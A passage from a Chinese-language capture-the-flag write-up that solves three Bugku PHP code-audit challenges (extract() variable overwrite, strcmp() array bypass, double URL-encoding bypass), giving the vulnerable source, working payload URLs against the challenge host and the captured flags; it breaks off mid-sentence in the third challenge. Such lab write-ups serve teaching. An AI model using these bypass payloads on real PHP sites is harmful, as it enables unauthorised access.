第一题:extract变量覆盖
知识简介
extract()函数语法:
extract(array,extract_rules,prefix) 参数 描述 array必需。 规定要使用的数组。 extract_rules可选。 extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。 可能的值: EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。 EXTR_SKIP - 如果有冲突,不覆盖已有的变量。 EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。 EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。 EXTR_PREFIX_INVALID -仅在不合法或数字变量名前加上前缀 prefix。 EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。 EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。 EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。 prefix可选。 如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。
题目信息
Topic Link:http://123.206.87.240:9009/1.php
http://123.206.87.240:9009/1.php
<?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'flag{xxx}'; } else { echo'Oh.no'; } } ?>
利用extract()函数的变量覆盖漏洞原理构造payload
漏洞产生原因:extract()函数当只有一个参数时,默认的第二参数是:EXTR_OVERWRITE,如果有变量发生冲突,则覆盖已有的变量。
代码审计需要满足两个条件:1. if(isset($shiyan)) == 》 TRUE
2. if($shiyan==$content) == 》 TRUE
构造payload:
//利用extract()函数变量覆盖漏洞+php伪协议
http://123.206.87.240:9009/1.php?shiyan=999&flag=data://,999 //利用file_get_content()函数返回字符串+php弱类型(null == "string" ==》 true)
http://123.206.87.240:9009/1.php?shiyan=
http://123.206.87.240:9009/1.php?shiyan=&flag=
http://123.206.87.240:9009/1.php?shiyan=&content=
get flag:
flag{bugku-dmsj-p2sm3N}
第二题:strcmp比较字符串
知识简介
strcmp()函数语法:
int strcmp( string $str1, string $str2) 注意该比较区分大小写。 参数 str1 第一个字符串。 str2 第二个字符串。 返回值 如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
题目信息
Topic Link:http://123.206.87.240:9009/6.php
<?php $flag = "flag{xxxxx}"; if (isset($_GET['a'])) { if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。 //比较两个字符串(区分大小写)
die('Flag: '.$flag); else
print 'No'; } ?>
利用strcmp()函数不能处理数组的漏洞构造payload
代码审计需要满足两个条件:1. if (isset($_GET['a'])) ==》 TRUE
2. if (strcmp($_GET['a'], $flag) == 0) ==》 TRUE
构造payload:
http://123.206.87.240:9009/6.php?a[]
get flag:
Flag: flag{bugku_dmsj_912k}
第三题:urldecode二次编码绕过
知识简介
eregi()函数语法:
eregi — 不区分大小写的正则表达式匹配 int eregi( string $pattern, string $string[, array &$regs] ) 本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。 ereg()函数 int ereg ( string $pattern , string $string [, array &$regs ] ) 以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。 如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1] 包含第一个左圆括号开始的子串,$regs[2] 包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。 如果在 string 中找到 pattern 模式的匹配则返回所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1。
题目信息
Topic Link:http://123.206.87.240:9009/10.php
<?php if(eregi("hackerDJ",$_GET[id])) { echo(" not allowed! "); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo " Access granted! "; echo " flag "; } ?>
利用浏览器默认对提交的数据进行一次url解码
代码审计需要满足两个条件:1. id里面不能包含字符串“hackerDJ”
2. id经过urldecode()之后等于字符串“hackerDJ”
构造payload:
//只需对字符串"hackerDJ"一部分二次url编码即可
h对应的十六进